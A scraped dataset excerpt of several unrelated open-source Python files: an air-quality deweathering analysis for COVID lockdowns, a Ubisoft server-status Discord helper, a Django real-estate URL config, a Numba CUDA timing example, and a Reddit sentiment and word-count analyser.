for ma in LIST_MA:\n            val_sta_dict[ma] = {}\n            ma_df = HIST_SET.item()[ma]\n            for aq_var in AQ_VARS:\n                val_sta_dict[ma][aq_var] = {}\n                aq_df = ma_df[aq_var]\n                sel_cols = [COL_STA_TYPE, COL_STA_CODE]\n                # get unique sta code and types\n                unq_df = aq_df[sel_cols].groupby(sel_cols, as_index=False).mean()\n                for sta_type in [0, 1]:\n                    type_df = unq_df.loc[unq_df[COL_STA_TYPE] == sta_type]\n                    if len(type_df) < 3:\n                        val_sta_dict[ma][aq_var][sta_type] = 0\n                    else:\n                        n_sta = round(val_rate * len(type_df))\n                        sta_codes = choices(type_df[COL_STA_CODE].values, k=n_sta)\n                        val_sta_dict[ma][aq_var][sta_type] = sta_codes\n                        aq_sta_dict[aq_var] = aq_sta_dict[aq_var] + sta_codes\n        # extract training set for each aq_var\n        train_set = {\n            aq_var: self.aq_df[aq_var].loc[\n                ~self.aq_df[aq_var][COL_STA_CODE].isin(aq_sta_dict[aq_var])\n            ]\n            for aq_var in AQ_VARS\n        }\n        # train model for each aq_var\n        model = {}\n        for aq_var in AQ_VARS:\n            X, y = reform(train_set[aq_var])\n            model[aq_var] = lgbm.LGBMRegressor(**model_cfg[aq_var]).fit(X, y)\n\n        # evaluate model for each ma, aq_var, and station type\n        sc_dict = {aq_var: pd.DataFrame() for aq_var in AQ_VARS}\n        for ma in LIST_MA:\n            for aq_var in AQ_VARS:\n                for sta_type in [0, 1]:\n                    sta_codes = val_sta_dict[ma][aq_var][sta_type]\n                    if sta_codes != 0:\n                        for code in sta_codes:\n                            ma_aq_df = self.aq_df[aq_var].loc[\n                                self.aq_df[aq_var][COL_STA_CODE] == code\n                            ]\n                            Xv, yv = reform(ma_aq_df)\n                            yv_pred = model[aq_var].predict(Xv)\n                            sc = Score(yv, yv_pred)\n                            sc_dict[aq_var] = sc_dict[aq_var].append(\n                                {\n                                    \"r\": sc.score_r,\n                                    \"RMSE\": sc.score_rmse,\n                                    \"NormRMSE\": sc.score_n_rmse,\n                                    \"MBE\": sc.score_mbe,\n                                    \"NormMBE\": sc.score_n_mbe,\n                                    \"ma\": ma,\n                                    \"sta_type\": sta_type,\n                                },\n                                ignore_index=True,\n                            )\n                sc_dict[aq_var].to_csv(\n                    os.path.join(MDL_DIR, \"score\", f\"{aq_var}.csv\"), index=False\n                )\n        self.score = sc_dict\n\n    def extr_ma_dt(self):\n        def cal_mean(df):\n            def r(x):\n                return round(x, 1)\n\n            cols = [\"alldOB\", \"wdOB\", \"wkOB\", \"alldPH\", \"wdPH\", \"wkPH\"]\n            mean_agg = {c: \"mean\" for c in cols}\n            std_agg = {c: \"std\" for c in cols}\n\n            mdf = deepcopy(df)\n\n            for c in cols:\n                mdf[c] = [float(v.split(\" \")[0]) for v in df[c]]\n\n            group_cols = [\"aq_var\", \"sta_type\", \"som\"]\n\n            mean = mdf.groupby(group_cols, as_index=False).agg(mean_agg)\n            std = mdf.groupby(group_cols, as_index=False).agg(std_agg)\n\n            for c in cols:\n                mean[c] = [f\"{r(m)} ({r(s)})\" for m, s in zip(mean[c], std[c])]\n            mean[\"ma\"] = [\"Mean MAs\"] * len(mean)\n            return mean\n\n        for ma in LIST_MA:\n            print(ma)\n            ma_obj = MaDw(ma)\n            self.ma_obj[ma] = ma_obj\n            self.pres_dict[ma] = ma_obj.ob_daily  # obs_bau\n            self.hist_dict[ma] = ma_obj.hist_daily  # hist_pres\n\n            self.lckd_stats.append(ma_obj.lckd_stats)  # stats\n\n        self.lckd_stats = pd.concat(self.lckd_stats, ignore_index=True)\n\n        mean_ma_stats = cal_mean(self.lckd_stats)\n        self.lckd_stats = pd.concat([mean_ma_stats, self.lckd_stats], ignore_index=True)\n        for som in [\"1st\", \"2nd\", \"3rd\"]:\n            op = f\"../data/stats/{som}.csv\"\n            self.lckd_stats[self.lckd_stats[\"som\"] == som].to_csv(op)\n\n\nclass MaDw:\n    def __init__(self, ma_name) -> None:\n        self.ma_name = ma_name\n        self.hist_set = HIST_SET.item()[self.ma_name]\n        self.pres_set = PRES_SET.item()[self.ma_name]\n\n        self.model_config = {}\n        self.model_score = {}\n        self.model = {}\n\n        self.ob_daily = {}\n        self.hist_daily = {}\n\n        self.lckd_stats = []\n        self.ob_lckd_sta = {}\n\n        # self.eval_model()\n        self.load_ma_model()\n        self.pred_bau()\n        self.extr_ob_hp()\n\n        self.station_lckd_ob()\n        # self.extr_s5p()\n\n    def load_ma_model(self):\n        for aq_var in AQ_VARS:\n            self.model[aq_var] = joblib.load(\n                os.path.join(MDL_DIR, f\"all_ma_model_{aq_var}.pkl\")\n            )\n\n    def pred_bau(self):\n        for aq_var in AQ_VARS:\n            X_pres, _ = reform(self.pres_set[aq_var])\n            y_pred = self.model[aq_var].predict(X_pres)\n            self.pres_set[aq_var][\"BAU\"] = y_pred\n\n    def extr_ob_hp(self):\n        def r(x):\n            return round(x, 1)\n\n        \"\"\"\n        Extract OBS_BAU and HIST data - Daily level (full year)\n        \"\"\"\n        pres_ds = deepcopy(self.pres_set)\n        hist_ds = deepcopy(HIST_SET.item()[self.ma_name])\n\n        tcs, sta_cs = [\"date\", \"dow\"], [COL_STA_CODE, COL_STA_TYPE]\n        ob_cs, hist_cs, ho_c = [\"OBS\", \"BAU\", \"OBS_BAU\"], [\"HIST_OBS\"], \"PRES_HIST\"\n        # daily selected cols\n        pcs_daily = sta_cs + tcs + ob_cs\n        hcs_daily = sta_cs + tcs + hist_cs\n        # lockdown selected cols\n        pcs_lckd = tcs + [\"OBS_BAU\", \"OBS\"]\n        hcs_lckd = tcs + hist_cs\n        sds = [LCKD_SD_1, OX_SD, CH4_SD]\n        eds = [LCKD_ED_1, OX_ED, CH4_ED]\n        soms = [\"1st\", \"2nd\", \"3rd\"] # 1st for the 1st lockdown, 2nd for Agust ozone, 3rd for CH4\n\n        wds, wkds = [0, 1, 2, 3, 4], [5, 6]\n\n        for aq_var in AQ_VARS:\n            # daily pres - daily hist\n            dp = pres_ds[aq_var].rename(columns={\"daily_mean\": \"OBS\"})\n            dh = hist_ds[aq_var].rename(columns={\"daily_mean\": \"HIST_OBS\"})\n\n            sd20 = datetime(2020, 1, 1)\n            dp[\"date\"] = dp[\"doy\"].apply(lambda d: sd20 + timedelta(d - 1))\n            dh[\"date\"] = dh[\"doy\"].apply(lambda d: sd20 + timedelta(d - 1))\n            dh[\"dow\"] = pd.DataFrame(dh.date.values)[0].dt.dayofweek.values\n\n            dp[\"OBS_BAU\"] = (dp[\"OBS\"] - dp[\"BAU\"]) * 100 / dp[\"BAU\"]\n\n            # daily obs_bau\n            self.ob_daily[aq_var] = dp[pcs_daily]\n            self.hist_daily[aq_var] = dh[hcs_daily]\n            # lockdown period obs_bau\n            \n            for st in [0, 1]:\n\n                dp_type = dp.loc[dp[COL_STA_TYPE] == st]\n                dh_type = dh.loc[dh[COL_STA_TYPE] == st]\n                # lockdown df by station code\n                pmean = dp_type[pcs_lckd].groupby(\"date\").mean()[\"2020-04-01\":]\n                hmean = dh_type[hcs_lckd].groupby(\"date\").mean()[\"2020-04-01\":]\n                obs, hist = pmean[\"OBS\"], hmean[\"HIST_OBS\"]\n                pmean[ho_c] = (obs - hist) * 100 / hist\n\n                for sd, ed, som in zip(sds, eds, soms):\n\n                    somdf = pmean[sd:ed]\n                    wd, wk = somdf[somdf.dow.isin(wds)], somdf[somdf.dow.isin(wkds)]\n\n                    alldOB, wdOB, wkOB = somdf[\"OBS_BAU\"], wd[\"OBS_BAU\"], wk[\"OBS_BAU\"]\n                    alldPH, wdPH, wkPH = somdf[ho_c], wd[ho_c], wk[ho_c]\n\n                    df = pd.DataFrame(\n                        {\n                            \"ma\": self.ma_name,\n                            \"aq_var\": aq_var,\n                            \"sta_type\": st,\n                            \"som\": som,\n                            # OB\n                            \"alldOB\": f\"{r(alldOB.mean())} ({r(alldOB.std())})\",\n                            \"wdOB\": f\"{r(wdOB.mean())} ({r(wdOB.std())})\",\n                            \"wkOB\": f\"{r(wkOB.mean())} ({r(wkOB.std())})\",\n                            # PH\n                            \"alldPH\": f\"{r(alldPH.mean())} ({r(alldPH.std())})\",\n                            \"wdPH\": f\"{r(wdPH.mean())} ({r(wdPH.std())})\",\n                            \"wkPH\": f\"{r(wkPH.mean())} ({r(wkPH.std())})\",\n                        },\n                        index=[0],\n                    )\n                    self.lckd_stats.append(df)\n\n        self.lckd_stats = pd.concat(self.lckd_stats, ignore_index=True)\n\n    @staticmethod\n    def station_lckd_ob_cal(df):\n        \"\"\"\n        Extract OBS_BAU and geometry - Station level (Full year)\n        \"\"\"\n        station_df = AqStationLocation(2020).station_df\n\n        df = df.groupby([COL_STA_CODE, COL_STA_TYPE], as_index=False).agg(\n            {\"OBS_BAU\": \"mean\"}\n        )\n        df[COL_STA_TYPE] = df[COL_STA_TYPE].apply(\n            lambda x: \"Urban Stite\" if x == 0 else \"Traffic Site\"\n        )\n        df = df.merge(\n            station_df[[COL_STA_CODE, \"coords\"]],\n            how=\"left\",\n            left_on=COL_STA_CODE,\n            right_on=COL_STA_CODE,\n        )\n        df = gpd.GeoDataFrame(df, geometry=df.coords)\n\n        return df\n\n    def station_lckd_ob(self):\n        \"\"\"\n        Calculate OBS_BAU for the chosen air pollutant during the lockdown time - Station level (lockdown)\n        \"\"\"\n        for v in AQ_VARS:\n            df = self.ob_daily[v]\n\n            self.ob_lckd_sta[v] = {}\n            self.ob_lckd_sta[v][\"1st\"] = {}\n            self.ob_lckd_sta[v][\"2nd\"] = {}\n\n            for sd, ed in zip([LCKD_SD_1, OX_SD], [LCKD_ED_1, OX_ED]):\n\n                t = \"1st\" if sd == LCKD_SD_1 else \"2nd\"\n                dft = df[(df[\"date\"] > sd) & (df[\"date\"] < ed)]\n\n                wk = dft[dft[\"dow\"].isin([5, 6])]\n                wd = dft[~dft[\"dow\"].isin([5, 6])]\n\n                self.ob_lckd_sta[v][t][\"alld\"] = MaDw.station_lckd_ob_cal(dft)\n                self.ob_lckd_sta[v][t][\"wk\"] = MaDw.station_lckd_ob_cal(wk)\n                self.ob_lckd_sta[v][t][\"wd\"] = MaDw.station_lckd_ob_cal(wd)\n\n    def extr_s5p(self):\n        def extr(ox_df, fnr_df, var_name):\n\n            crs = \"epsg:4326\"\n            fnr_df = fnr_df.rio.write_crs(crs, inplace=True)\n            vs, in_sc, out_sc = [], [], []\n\n            var_df = pd.DataFrame()\n\n            for sta_code in ox_df[COL_STA_CODE].values:\n                try:\n                    v = (\n                        fnr_df.rio.clip(\n                            ox_df.loc[ox_df[COL_STA_CODE] == sta_code].geometry, crs\n                        )\n                        .mean()\n                        .item()\n                    )\n                    vs.append(v)\n                    in_sc.append(sta_code)\n                except:\n                    out_sc.append(sta_code)\n\n            var_df[COL_STA_CODE] = in_sc\n            var_df[var_name] = vs\n\n            ox_df = ox_df[~ox_df[COL_STA_CODE].isin(out_sc)]\n            ox_df = ox_df.merge(\n                var_df, how=\"left\", left_on=COL_STA_CODE, right_on=COL_STA_CODE\n            )\n\n            return ox_df\n\n        ma_name = self.ma_name\n        v = \"OX\"\n        for t in [\"1st\", \"2nd\"]:\n            ox_df = self.ob_lckd_sta[v][t][\"alld\"]\n            ox_df = extr(ox_df, FNR_2020.ma_fnr_20[ma_name][t], var_name=\"fnr\")\n            ox_df = extr(ox_df, FNR_2020.no2_dif[ma_name][t], var_name=\"no2_dif\")\n            ox_df = extr(ox_df, FNR_2020.hcho_dif[ma_name][t], var_name=\"hcho_dif\")\n            self.ob_lckd_sta[v][t][\"alld\"] = ox_df\n\n\n# %%\n","repo_name":"anhp95/jp_air_covid","sub_path":"src/deweather.py","file_name":"deweather.py","file_ext":"py","file_size_in_byte":15285,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"35983948389","text":"def get_server_status():\n    import json\n    import requests\n    from bs4 import BeautifulSoup\n    from unidecode import unidecode\n\n    URL = unidecode(f'https://game-status-api.ubisoft.com/v1/instances?appIds=e3d5ea9e-50bd-43b7-88bf-39794f4e3d40,fb4cc4c9-2063-461d-a1e8-84a7d36525fc,4008612d-3baf-49e4-957a-33066726a7bc')\n    headers = {\n        \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.89 Safari/537.36\"\n    }\n    page = requests.get(URL, headers=headers)\n    soup = BeautifulSoup(page.content, 'html.parser')\n\n    json = json.loads(str(soup))\n\n    dicts = list()\n\n    for platform in json:\n        dictionary = {\n            \"name\": platform[\"Platform\"],\n            \"status\": platform[\"Status\"],\n            \"impactedFeatures\": platform[\"ImpactedFeatures\"]\n        }\n        dicts.append(dictionary)\n    pc = dicts[0]\n    ps4 = dicts[1]\n    xbox = dicts[2]\n\n    return {\"pc\": pc, \"ps4\": ps4, \"xbox\": xbox}\n\n\ndef format_dict(dict):\n    import discord\n    msg = discord.Embed(title=f\"{dict['name']} Server Status\", colour=discord.Color.from_rgb(244, 175, 44))\n\n    msg.add_field(name=f'\\nStatus', value=f'{dict[\"status\"]}')\n    impacted_features = \"\"\n    for feature in dict['impactedFeatures']:\n        impacted_features += f'{feature}, ' if feature != dict['impactedFeatures'][-1] else feature\n    if len(impacted_features) == 0:\n        impacted_features = 'None' \n    msg.add_field(name=f'\\nImpacted Features', value=f'{impacted_features}')\n\n    msg.add_field(name='Last Updated', value='Just now')\n    \n    return msg\n\nget_server_status()","repo_name":"luccanunes/r6-server-status","sub_path":"src/packages/get_server_status/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1617,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"51"}
+{"seq_id":"42847521056","text":"\"\"\"realestate URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n    https://docs.djangoproject.com/en/3.0/topics/http/urls/\nExamples:\nFunction views\n    1. Add an import:  from my_app import views\n    2. Add a URL to urlpatterns:  path('', views.home, name='home')\nClass-based views\n    1. Add an import:  from other_app.views import Home\n    2. Add a URL to urlpatterns:  path('', Home.as_view(), name='home')\nIncluding another URLconf\n    1. Import the include() function: from django.urls import include, path\n    2. Add a URL to urlpatterns:  path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.contrib import admin\nfrom django.urls import path\nfrom hamahang import views\n\nurlpatterns = [\n    path('admin/', admin.site.urls,name='admin'),\n    path('',views.index,name='index'),\n    path('index/',views.index,name='index'),\n    path('sale/',views.vw_sale,name='sale'),\n    path('rents/',views.vw_rents,name='rents'),\n    path('sale_apartement/',views.vw_apartement,name='sale_apartement'),\n    path('sale_home/',views.vw_home,name='sale_home'),\n    path('sale_land/',views.vw_land,name='sale_land'),\n    path('participation/',views.vw_participation,name='participation'),\n    path('Contact/',views.vw_Contact,name='Contact'),\n    path('kish/',views.vw_kish,name='kish'),\n    path('georgin/',views.vw_georgin,name='georgin'),\n    path('mashhad/',views.vw_mashhad,name='mashhad'),\n]\n","repo_name":"anderiman/realestate","sub_path":"realestate/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1431,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"17464516966","text":"'''\nDemonstrate cuda.event\n\nPython measured time for the kernel should be much shorter than the cuda.event\ntime because kernel calls are aynchronous---it returns before the work in\ncompleted.\n'''\n\nfrom __future__ import print_function\n\nfrom timeit import default_timer as timer\n\nimport numpy as np\n\nfrom numba import cuda\n\n\n@cuda.jit('void(float32[:], float32[:])')\ndef cu_copy_array(dst, src):\n    i = cuda.grid(1)\n    dst[i] = src[i]\n\n\nBLOCKCOUNT = 25000\nBLOCKSIZE = 256\n\naryA = np.arange(BLOCKSIZE * BLOCKCOUNT, dtype=np.float32)\n\nprint('data size: %.1fMB' % (aryA.size * aryA.dtype.itemsize / (2**20)))\n\nevt_total_begin = cuda.event()\nevt_total_end = cuda.event()\n\nevt_kernel_begin = cuda.event()\nevt_kernel_end = cuda.event()\n\nt_total_begin = timer()\nevt_total_begin.record()\n\n# explicity tranfer memory\nd_aryA = cuda.to_device(aryA)\nd_aryB = cuda.device_array_like(aryA)\n\nevt_kernel_begin.record()\n\nt_kernel_begin = timer()\ncu_copy_array[BLOCKCOUNT, BLOCKSIZE](d_aryB, d_aryA)\nt_kernel_end = timer()\n\nevt_kernel_end.record()\n\naryB = d_aryB.copy_to_host()\n\nevt_total_end.record()\n\nevt_total_end.synchronize()\nt_total_end = timer()\n\nassert np.all(aryA == aryB)\n\nprint('CUDA EVENT TIMING'.center(80, '='))\nprint('total time: %fms' % evt_total_begin.elapsed_time(evt_total_end))\nprint('kernel time: %fms' % evt_kernel_begin.elapsed_time(evt_kernel_end))\nprint('PYTHON TIMING'.center(80, '='))\nprint('total time: %fms' % (float(t_total_end - t_total_begin) * 1000))\nprint('kernel time: %fms' % (float(t_kernel_end - t_kernel_begin) * 1000))\n\n\n","repo_name":"ContinuumIO/numbapro-examples","sub_path":"cuevents/kernel_timing.py","file_name":"kernel_timing.py","file_ext":"py","file_size_in_byte":1544,"program_lang":"python","lang":"en","doc_type":"code","stars":166,"dataset":"github-code","pt":"51"}
+{"seq_id":"70488515679","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\"\"\"Analyse reddit posts\"\"\"\n\nimport pandas as pd\nimport re\nfrom afinn import Afinn\nimport numpy as np  \nfrom nltk.corpus import stopwords\nimport nltk\nfrom collections import Counter\nimport json\nimport logging\nimport collections\nfrom nltk.collocations import *\n\nclass RedditAnalyser(object):\n\n    def __init__(self, comments, posts, currency_symbols, stopwords):\n\n        # logging.basicConfig(filename='reddit_analyser.log',level=logging.DEBUG,\n        # format='%(asctime)s.%(msecs)03d %(levelname)s %(module)s - %(funcName)s: %(message)s', datefmt=\"%Y-%m-%d %H:%M:%S\")\n        self.afinn = Afinn()\n        self.stopwords = stopwords\n        self.comments = self.CleanseData(comments, False)\n        self.posts = self.CleanseData(posts, True)\n        self.currency_symbols = currency_symbols\n\n    def NoPostComments(self):\n        nc = len(self.comments.index)\n        np = len(self.posts.index)\n        return (nc, np)\n\n    def CommentsPostsByDay(self, oldc, oldp):\n        cbd = self.comments.copy()\n        cbd = cbd.groupby(['Date']).size().to_frame('n_comment').reset_index()\n\n        pbd = self.posts.copy()\n        pbd = pbd.groupby(['Date']).size().to_frame('n_post').reset_index()\n\n        cpbd = pd.merge(cbd, pbd, on='Date', how='outer')\n  \n        cpbd['n_post'] = cpbd['n_post'] + oldp\n        cpbd['n_comment'] = cpbd['n_comment'] + oldc\n        cpbd.fillna(0, inplace=True)                \n        cpbd = cpbd.to_json(orient='records', date_format=None)\n\n        return json.loads(cpbd)\n    \n    def MostActiveUsers(self, oldmau):\n        mauc = self.comments.copy()\n        mauc = mauc['Author'].value_counts().reset_index().rename(\n            columns={'index': 'Author', 'Author': 'Comments'})\n\n        maup = self.posts.copy()\n        maup = maup['Author'].value_counts().reset_index().rename(\n            columns={'index': 'Author', 'Author': 'Posts'}) \n\n        mau = pd.merge(maup, mauc, on='Author', how='outer')\n        mau['Activity'] = mau['Comments'] + mau['Posts']\n        mau = mau.sort_values('Activity', ascending=False).head(100)\n        mau.fillna(0, inplace=True)\n        mau = mau.to_json(orient='records', date_format=None)\n\n        if oldmau != None:\n            mau = json.loads(mau)\n            updatedmau = []\n            # Compare new users against users already in database \n            # and update old users with new info, popping from array\n            # once processed\n            for user in range(len(oldmau)-1):\n                for newuser in range(len(mau)-1):\n                    if oldmau[user]['Author'] == mau[newuser]['Author']:\n                        updateduser = {}\n                        updateduser[\"Author\"] = oldmau[user][\"Author\"]\n                        updateduser[\"Comments\"] = oldmau[user][\"Comments\"] + mau[newuser][\"Comments\"]\n                        updateduser[\"Posts\"] = oldmau[user][\"Posts\"] + mau[newuser][\"Posts\"]\n                        updateduser[\"Activity\"] = oldmau[user][\"Activity\"] + mau[newuser][\"Activity\"]\n                        updatedmau.append(updateduser)\n                        mau.pop(newuser)\n\n            # Append all newly found users to updatedmau list\n            for newuser in mau:\n                updatedmau.append(newuser)\n\n            j = json.dumps(updatedmau)\n            return json.loads(j)\n        \n        return json.loads(mau)\n\n    def OverallUserScore(self, oldous):\n        ousc = self.comments.copy()\n        ousc =  ousc.groupby('Author')['Score'].sum().reset_index().rename(\n            columns={'Author': 'Author', 'Score': 'Comments'})\n\n        ousp = self.posts.copy()\n        ousp =  ousp.groupby('Author')['Score'].sum().reset_index().rename(\n            columns={'Author': 'Author', 'Score': 'Posts'})\n\n        ous = pd.merge(ousc, ousp, on='Author', how='outer').sort_values('Comments', ascending=False)\n        ous['TotalScore'] = ous['Comments'] + ous['Posts']\n        ous = ous.sort_values('TotalScore', ascending=False).head(100)\n        ous.fillna(0, inplace=True)        \n        ous = ous.to_json(orient='records', date_format=None)\n\n        if oldous != None:\n            ous = json.loads(ous)\n            updatedous = []\n            # Compare new users against users already in database \n            # and update old users with new info, popping from array\n            # once processed\n            for user in range(len(oldous)-1):\n                for newuser in range(len(ous)-1):\n                    if oldous[user]['Author'] == ous[newuser]['Author']:\n                        updateduser = {}\n                        updateduser[\"Author\"] = oldous[user][\"Author\"]\n                        updateduser[\"Comments\"] = oldous[user][\"Comments\"] + ous[newuser][\"Comments\"]\n                        updateduser[\"Posts\"] = oldous[user][\"Posts\"] + ous[newuser][\"Posts\"]\n                        updateduser[\"TotalScore\"] = oldous[user][\"TotalScore\"] + ous[newuser][\"TotalScore\"]\n                        updatedous.append(updateduser)\n                        ous.pop(newuser)\n\n            # Append all newly found users to updatedous list\n            for newuser in ous:\n                updatedous.append(newuser)\n\n            j = json.dumps(updatedous)\n            return json.loads(j)\n\n        return json.loads(ous)       \n\n    def SentimentByDay(self, oldpsa, oldcsa, olds):\n        cs = self.comments.copy()\n        cs['Comment_SA'] = np.array([ self.AnalyseSentiment(text) for text in cs['Text'] ])\n        cs = cs.drop(['Author', 'Score', 'Text'], 1)\n        cs =  cs.groupby('Date')['Comment_SA'].sum().reset_index()\n\n        ps = self.posts.copy()\n        ps['Post_SA'] = np.array([ self.AnalyseSentiment(text) for text in ps['Text'] ])\n        ps = ps.drop(['Author', 'Score', 'Text'], 1)\n        ps =  ps.groupby('Date')['Post_SA'].sum().reset_index()\n\n        sbd = pd.merge(cs, ps, on='Date', how='outer')\n        sbd.fillna(0, inplace=True)                \n        sbd[\"Sentiment\"] = sbd[\"Comment_SA\"] + sbd[\"Post_SA\"]\n\n        sbd['Post_SA'] = sbd['Post_SA'] + oldpsa\n        sbd['Comment_SA'] = sbd['Comment_SA'] + oldcsa\n        sbd['Sentiment'] = sbd['Sentiment'] + olds\n        \n        sbd = sbd.to_json(orient='records', date_format=None)        \n        return json.loads(sbd)\n    \n    def Bigram(self, oldb):\n        \"\"\"\n        Creating a list of bigram frequencies from the gathered \n        reddit comments and posts\n        \"\"\"\n        comments = self.comments.copy()\n        comment_counts = collections.Counter()\n        for sent in comments[\"Text\"]:\n            words = nltk.word_tokenize(sent)\n            comment_counts.update(nltk.bigrams(words))\n        bc = pd.DataFrame(list(comment_counts.items()), columns=['bigram', 'n_comment'])\n\n        posts = self.posts.copy()\n        post_counts = collections.Counter()\n        for sent in posts[\"Text\"]:\n            words = nltk.word_tokenize(sent)\n            post_counts.update(nltk.bigrams(words))\n        bp = pd.DataFrame(list(post_counts.items()), columns=['bigram', 'n_post'])\n\n        bigram = pd.merge(bc, bp, on='bigram', how='outer')\n        bigram['n'] = bigram['n_comment'] + bigram['n_post']\n        bigram.fillna(0, inplace=True)\n        bigram[\"bigram\"] = bigram[\"bigram\"].apply(lambda x: ' '.join(x))\n        self.bigram = bigram\n        bigram = bigram.to_json(orient='records', date_format=None)\n\n        if oldb != None:\n            \n            bigram = json.loads(bigram)\n            updatedbigrams = []\n\n            for oldbigram in range(len(oldb)-1):\n                oldelement = oldb[oldbigram]\n                for newbigram in range(len(bigram)-1):\n                    newelement = bigram[newbigram]\n                    if oldelement[\"bigram\"] == newelement[\"bigram\"]:\n                        \n                        updated = {}\n                        updated[\"bigram\"] = oldelement[\"bigram\"]\n                        updated[\"n_post\"] = oldelement[\"n_post\"] + newelement[\"n_post\"]\n                        updated[\"n_comment\"] = oldelement[\"n_comment\"] + newelement[\"n_comment\"]\n                        updated[\"n\"] = oldelement[\"n\"] + newelement[\"n\"]\n\n                        updatedbigrams.append(updated)\n                        bigram.pop(newbigram)\n            \n            # Append all newly found users to updatedous list\n            for b in bigram:\n                updatedbigrams.append(b)\n\n            j = json.dumps(updatedbigrams)\n            return json.loads(j)\n\n        return json.loads(bigram)\n    \n    def BigramByDay(self, oldbigrams):\n        bigramscopy = self.bigram.copy()\n        bigrams = bigramscopy.sort_values('n',ascending = False).head(25)\n        bigrams = bigrams.to_json(orient='records', date_format=None)\n        bigrams = json.loads(bigrams)\n\n        if oldbigrams != None:\n            updatedbigrams =[]\n            for old in range(len(oldbigrams)-1):\n                oldelement = oldbigrams[old]\n                for new in range(len(bigrams)-1):\n                    newelement = bigrams[new]\n                    if oldelement[\"bigram\"] == newelement[\"bigram\"]:\n                        \n                        updated = {}\n                        updated[\"bigram\"] = oldelement[\"bigram\"]\n                        updated[\"n_post\"] = oldelement[\"n_post\"] + newelement[\"n_post\"]\n                        updated[\"n_comment\"] = oldelement[\"n_comment\"] + newelement[\"n_comment\"]\n                        updated[\"n\"] = oldelement[\"n\"] + newelement[\"n\"]\n\n                        updatedbigrams.append(updated)\n                        bigrams.pop(new)\n\n            # Append all newly found users to updatedous list\n            for b in bigrams:\n                updatedbigrams.append(b)\n\n            j = json.dumps(updatedbigrams[:25])\n            return json.loads(j)\n            \n        return bigrams\n\n\n    def WordCount(self, oldwc):\n        wcc = self.comments.copy()\n        wcc = list(collections.Counter(\" \".join(wcc['Text']).split()).items())\n        wcc = pd.DataFrame(wcc, columns=['word', 'n_comment'])\n\n        wcp = self.posts.copy()\n        wcp = list(collections.Counter(\" \".join(wcp['Text']).split()).items())\n        wcp = pd.DataFrame(wcp, columns=['word', 'n_post'])\n\n        wc = pd.merge(wcc, wcp, on='word', how='outer')\n        wc['n'] = wc['n_comment'] + wc['n_post']\n        wc.fillna(0, inplace=True)                \n        self.word_count = wc\n        wc = wc.to_json(orient='records', date_format=None) \n\n        if oldwc != None:\n            wc = json.loads(wc)\n            updatedwc = []\n            # Compare new users against users already in database \n            # and update old users with new info, popping from array\n            # once processed\n            for word in range(len(oldwc)-1):\n                for newword in range(len(wc)-1):\n                    if oldwc[word]['word'] == wc[newword]['word']:\n                        updatedword = {}\n                        updatedword[\"word\"] = oldwc[word][\"word\"]\n                        updatedword[\"n_comment\"] = oldwc[word][\"n_comment\"] + wc[newword][\"n_comment\"]\n                        updatedword[\"n_post\"] = oldwc[word][\"n_post\"] + wc[newword][\"n_post\"]\n                        updatedword[\"n\"] = oldwc[word][\"n\"] + wc[newword][\"n\"]\n                        updatedwc.append(updatedword)\n                        wc.pop(newword)\n\n            # Append all newly found users to updatedous list\n            for newword in wc:\n                updatedwc.append(newword)\n\n            j = json.dumps(updatedwc)\n            return json.loads(j)\n\n        return json.loads(wc)\n    \n    def WordCountByDay(self, oldwordcount):\n        wordcountcopy = self.word_count.copy()\n        wordcount = wordcountcopy.sort_values('n',ascending = False).head(25)\n        wordcount = wordcount.to_json(orient='records', date_format=None)\n        wordcount = json.loads(wordcount)\n\n        if oldwordcount != None:\n            updatedwordcount =[]\n            for old in range(len(oldwordcount)-1):\n                oldelement = oldwordcount[old]\n                for new in range(len(wordcount)-1):\n                    newelement = wordcount[new]\n                    if oldelement[\"word\"] == newelement[\"word\"]:\n                        \n                        updated = {}\n                        updated[\"word\"] = oldelement[\"word\"]\n                        updated[\"n_post\"] = oldelement[\"n_post\"] + newelement[\"n_post\"]\n                        updated[\"n_comment\"] = oldelement[\"n_comment\"] + newelement[\"n_comment\"]\n                        updated[\"n\"] = oldelement[\"n\"] + newelement[\"n\"]\n                        updatedwordcount.append(updated)\n                        wordcount.pop(new)\n\n            # Append all newly found users to updatedous list\n            for b in wordcount:\n                updatedwordcount.append(b)\n\n            j = json.dumps(updatedwordcount[:25])\n            return json.loads(j)\n            \n        return wordcount\n\n\n    def CurrencyMentions(self, oldcm):\n        # Currency mentions single word\n        word_count = self.word_count\n        bigram = self.bigram\n        cm = self.currency_symbols.copy()\n        cm['Symbol'] = cm.Symbol.str.lower()\n        cm['Name'] = cm.Name.str.lower()\n        cm[\"Mentions_Sym\"] = 0\n        cm[\"Mentions_Name\"] = 0\n\n        for symbol in cm['Symbol']:\n            c = word_count.loc[word_count['word'] == symbol, 'n'].values\n            if len(c) > 0:\n                cm.loc[cm['Symbol'] == symbol, 'Mentions_Sym'] = c[0]\n\n        for name in cm['Name']:\n            if len(name.split()) == 1:\n                c = word_count.loc[word_count['word'] == name, 'n'].values\n                if len(c) > 0:\n                    cm.loc[cm['Name'] == name, 'Mentions_Name'] = c[0]\n            else:\n                c = bigram.loc[bigram['bigram'] == name, 'n'].values\n                if len(c) > 0:\n                    cm.loc[cm['Name'] == name, 'Mentions_Name'] = c[0]\n\n        cm = cm.to_json(orient='records', date_format=None)\n\n        if oldcm != None:\n            cm = json.loads(cm)\n            updatedcm = []\n            # Compare new users against users already in database \n            # and update old users with new info, popping from array\n            # once processed\n            for currency in range(len(oldcm)-1):\n                for newcurrency in range(len(cm)-1):\n                    if oldcm[currency]['Name'] == cm[newcurrency]['Name']:\n                        updatedcurrency = {}\n                        updatedcurrency[\"Name\"] = oldcm[currency][\"Name\"]\n                        updatedcurrency[\"Symbol\"] = oldcm[currency][\"Symbol\"]\n                        updatedcurrency[\"Currency\"] = oldcm[currency][\"Currency\"]\n                        updatedcurrency[\"Mentions_Name\"] = 